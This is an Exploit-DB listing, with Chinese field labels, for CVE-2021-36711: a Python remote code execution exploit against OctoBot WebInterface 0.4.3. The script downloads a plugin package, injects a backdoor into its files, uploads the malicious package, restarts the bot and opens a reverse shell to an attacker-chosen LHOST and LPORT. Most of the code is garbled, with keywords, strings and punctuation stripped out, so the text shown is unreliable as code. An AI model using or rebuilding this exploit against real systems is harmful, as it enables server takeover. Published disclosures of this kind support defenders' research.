标题: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE) EDB-ID: 50979 CVE: 2021-36711 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-07-21 漏洞利用脚本: # Exploit Title: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)
# Date: 9/2/2021
# Exploit Author: Samy Younsi, Thomas Knudsen
# Vendor Homepage: https://www.octobot.online/
# Software Link: https://github.com/Drakkar-Software/OctoBot
# Version: 0.4.0beta3 - 0.4.3
# Tested on: Linux (Ubuntu, CentOs)
# CVE : CVE-2021-36711

from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import zipfile
 time
 sys
 os

 
  sashimiLogo  
   sashimiLogo


 
  
  sysargv
  


 RHOST RPORT
   RPORT  
    url  RHOST RPORT
  
    url  RHOST RPORT
   curlurl 


 RHOST RPORT
   RPORT  
    url  RHOST RPORT
  
    url  RHOST RPORT
  
  
    requestsgeturl allow_redirects verify timeout
   requestsexceptionsConnectionError  e 
    
    timesleep


 octobotVersion
  octobotVersion
  url  octobotVersion)
  result  requestsgeturl stream
   octobotVersion   fd
     chunk  resultiter_contentchunk_size
        fdwritechunk
  


 octobotVersion
    zipfileZipFileoctobotVersion
  extractall
  osremoveoctobotVersion
  


 octobotVersion
  octobotVersion
  path  
  injectInitFilepath
  injectMetadataFilepath
  octobotVersion


 path
   path  metadataFile
    content  metadataFileread
    addPayload  contentreplace join
    addPayload  addPayloadreplace join
   path  newMetadataFile
    newMetadataFilewriteaddPayload


 path
   path  initFile
    content  initFileread
    addPayload  contentreplace join
    addPayload  addPayloadreplace join
   path  newInitFile
    newInitFilewriteaddPayload


 
  
   zipfileZipFile mode  zipf
    len_dir_path  
     root _ files  oswalk
           files
            file_path  ospathjoinroot 
            zipfwritefile_path file_pathlen_dir_path


 
  

    
        
  
  response  requestspost files timeout
  zipLink  responsejson
  response  requestsgetzipLink timeout
  soup  BeautifulSoupresponsecontentdecode 
  zipLink  soupfindget
  zipLink
   zipLink

 url
  response  requestsgeturl allow_redirects verify timeout
   response


 RHOST RPORT zipLink
  
   RPORT  
    url  RHOST RPORT
  
    url  RHOST RPORT 

  headers  
     
     
  
  
  data  zipLink

  response  requestsposturl headersheaders datadata
  response  responsecontentdecodereplace strip
  
  osremove
  
   response  
    
    exit
  


 RHOST RPORT LHOST LPORT
  LHOST LPORT
   RPORT  
    url  RHOST RPORT LHOST LPORT
  
    url  RHOST RPORT LHOST LPORT
   curlurl 

 RHOST RPORT
   RPORT  
    url  RHOST RPORT
  
    url  RHOST RPORT
   curlurl
  
 
  banner
  args  parserparse_args

   isPasswordargsRHOST argsRPORTstatus_code  
    

  octobotVersion  getOctobotVersionargsRHOST argsRPORTcontentdecodereplacereplace

   octobotVersion  
    octobotVersion

  downloadTentaclePackageoctobotVersion
  unzipTentaclePackageoctobotVersion
  craftBackdooroctobotVersion
  rePackTentaclePackage
  zipLink  uploadMaliciousTentacle
  injectBackdoorargsRHOST argsRPORT zipLink
  restartOctobotargsRHOST argsRPORT
  execReverseShellargsRHOST argsRPORT argsLHOST argsLPORT


 __name__  
  parser  argparseArgumentParserdescription add_help
  parseradd_argument  
  parseradd_argument   required
  parseradd_argument   required
  parseradd_argument   required
  parseradd_argument   required
  main URL: https://www.exploit-db.com/exploits/50979